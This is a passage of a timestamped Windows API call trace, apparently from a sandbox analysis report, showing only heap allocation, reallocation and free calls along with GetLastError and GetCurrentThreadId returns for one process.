hHeap=0x2ad0000) returned 1 [0074.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2cbc5c0 [0074.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc5c0 | out: hHeap=0x2ad0000) returned 1 [0074.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb828 [0074.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x607) returned 0x2aa2198 [0074.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f20 [0074.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f20 | out: hHeap=0x2ad0000) returned 1 [0074.794] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2198, Size=0x66c) returned 0x2aa2198 [0074.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80d0 [0074.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80d0 | out: hHeap=0x2ad0000) returned 1 [0074.794] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2198, Size=0x8ac) returned 0x2aa2198 [0074.794] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2198, Size=0xb4b) returned 0x2aa2198 [0074.794] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2198, Size=0x9bc) returned 0x2aa2198 [0074.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb828 | out: hHeap=0x2ad0000) returned 1 [0074.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb080 [0074.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8028 [0074.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2010) returned 0x2cbc818 [0074.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x398) returned 0x30e5b58 [0074.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9a9) returned 0x2cbe830 [0074.795] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbe830, Size=0x9a8) returned 0x2cbe830 [0074.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4660) returned 0x3020048 [0074.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3020048 | out: hHeap=0x2ad0000) returned 1 [0074.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbe830 | out: hHeap=0x2ad0000) returned 1 [0074.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x2ad0000) returned 1 [0074.796] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.796] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f50, Size=0x20) returned 0x2a1fb00 [0074.796] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a192e0 [0074.796] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x64) returned 0x2a19578 [0074.796] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac1030 [0074.796] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1030, Size=0xb8) returned 0x2ac8ed0 [0074.796] GetLastError () returned 0x0 [0074.796] GetLastError () returned 0x0 [0074.796] GetLastError () returned 0x0 [0074.796] GetLastError () returned 0x0 [0074.796] GetLastError () returned 0x0 [0074.796] GetLastError () returned 0x0 [0074.796] GetLastError () returned 0x0 [0074.797] GetLastError () returned 0x0 [0074.797] GetLastError () returned 0x0 [0074.797] GetLastError () returned 0x0 [0074.797] GetLastError () returned 0x0 [0074.797] GetLastError () returned 0x0 [0074.797] GetLastError () returned 0x0 [0074.797] GetLastError () returned 0x0 [0074.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f20 | out: hHeap=0x2ad0000) returned 1 [0074.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbe48 [0074.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bb9fa8 [0074.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbc2e0 [0074.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbc5f0 [0074.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62830 [0074.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbc5f0 | out: hHeap=0x2ad0000) returned 1 [0074.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbc2e0 | out: hHeap=0x2ad0000) returned 1 [0074.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b62830 | out: hHeap=0x2ad0000) returned 1 [0074.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba2b8 [0074.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bba2b8 | out: hHeap=0x2ad0000) returned 1 [0074.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9fa8 | out: hHeap=0x2ad0000) returned 1 [0074.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbbe48 | out: hHeap=0x2ad0000) returned 1 [0074.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0074.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x54) returned 0x2a6d610 [0074.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6d610 | out: hHeap=0x2ad0000) returned 1 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x54) returned 0x2a6d610 [0074.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6d610 | out: hHeap=0x2ad0000) returned 1 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80d0 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbe48 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bb9c98 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f920 [0074.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f920 [0074.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x22) returned 0x2a20018 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x88) returned 0x2cd7f08 [0074.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x88) returned 0x2c81978 [0074.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd7f08 | out: hHeap=0x2ad0000) returned 1 [0074.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20018 | out: hHeap=0x2ad0000) returned 1 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81978 | out: hHeap=0x2ad0000) returned 1 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9c98 | out: hHeap=0x2ad0000) returned 1 [0074.799] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80d0, Size=0x10) returned 0x2ca8100 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbc2e0 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x280) returned 0x2cd0908 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71680 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x280) returned 0x30e5b58 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71680 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e) returned 0x2a19250 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x2cd0b90 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x2c81978 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd0b90 | out: hHeap=0x2ad0000) returned 1 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19250 | out: hHeap=0x2ad0000) returned 1 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81978 | out: hHeap=0x2ad0000) returned 1 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0074.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x2ad0000) returned 1 [0074.799] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x10) returned 0x2ca80d0 [0074.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af80 [0074.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f920 [0074.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0074.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.800] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80d0, Size=0x10) returned 0x2ca7ef0 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca80d0 [0074.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80d0 | out: hHeap=0x2ad0000) returned 1 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7f50 [0074.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f20 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x16) returned 0x2a71580 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x58) returned 0x2a6d610 [0074.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x58) returned 0x2a88750 [0074.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6d610 | out: hHeap=0x2ad0000) returned 1 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a88750 | out: hHeap=0x2ad0000) returned 1 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f20 | out: hHeap=0x2ad0000) returned 1 [0074.801] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7ef0, Size=0x10) returned 0x2ca7f20 [0074.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbca88 [0074.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x280) returned 0x30e5b58 [0074.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2cbc5c0 [0074.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x53) returned 0x2a88750 [0074.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14c) returned 0x2c81978 [0074.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14c) returned 0x2ba6060 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81978 | out: hHeap=0x2ad0000) returned 1 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a88750 | out: hHeap=0x2ad0000) returned 1 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba6060 | out: hHeap=0x2ad0000) returned 1 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc5c0 | out: hHeap=0x2ad0000) returned 1 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x2ad0000) returned 1 [0074.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbca88 | out: hHeap=0x2ad0000) returned 1 [0074.801] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f20, Size=0x10) returned 0x2ca80d0 [0074.801] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd0908, Size=0x500) returned 0x2cbe830 [0074.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b050 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b050 | out: hHeap=0x2ad0000) returned 1 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa) returned 0x2ca7f20 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1fef8 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20078 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f20 | out: hHeap=0x2ad0000) returned 1 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.802] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80d0, Size=0x10) returned 0x2ca8100 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.803] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x10) returned 0x2ca80d0 [0074.803] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbe830, Size=0xa00) returned 0x2cbe830 [0074.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a975e8 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbbe48 | out: hHeap=0x2ad0000) returned 1 [0074.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a99410 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbc2e0 | out: hHeap=0x2ad0000) returned 1 [0074.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x215) returned 0x2cbf238 [0074.803] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbf238, Size=0x12b) returned 0x2cbf238 [0074.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x90) returned 0x2ac0748 [0074.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x116) returned 0x2c81978 [0074.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x458) returned 0x30e5b58 [0074.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x458) returned 0x2aa2b60 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81978 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2b60 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0748 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbf238 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbe830 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a975e8 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a99410 | out: hHeap=0x2ad0000) returned 1 [0074.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80d0 | out: hHeap=0x2ad0000) returned 1 [0074.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0074.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1a) returned 0x2a1fb78 [0074.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19a48 [0074.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19888 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb828 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8040 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bba130 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ff8 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbbfd0 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbbcc0 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0074.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0074.805] GetCurrentThreadId () returned 0x9b0 [0074.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2c7ab18 [0074.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0074.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0074.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afc0 [0074.805] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af10, Size=0x14) returned 0x2a71680 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcc10 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac4228 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8028 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2198 | out: hHeap=0x2ad0000) returned 1 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afc0 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0074.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afc0 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71940 [0074.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 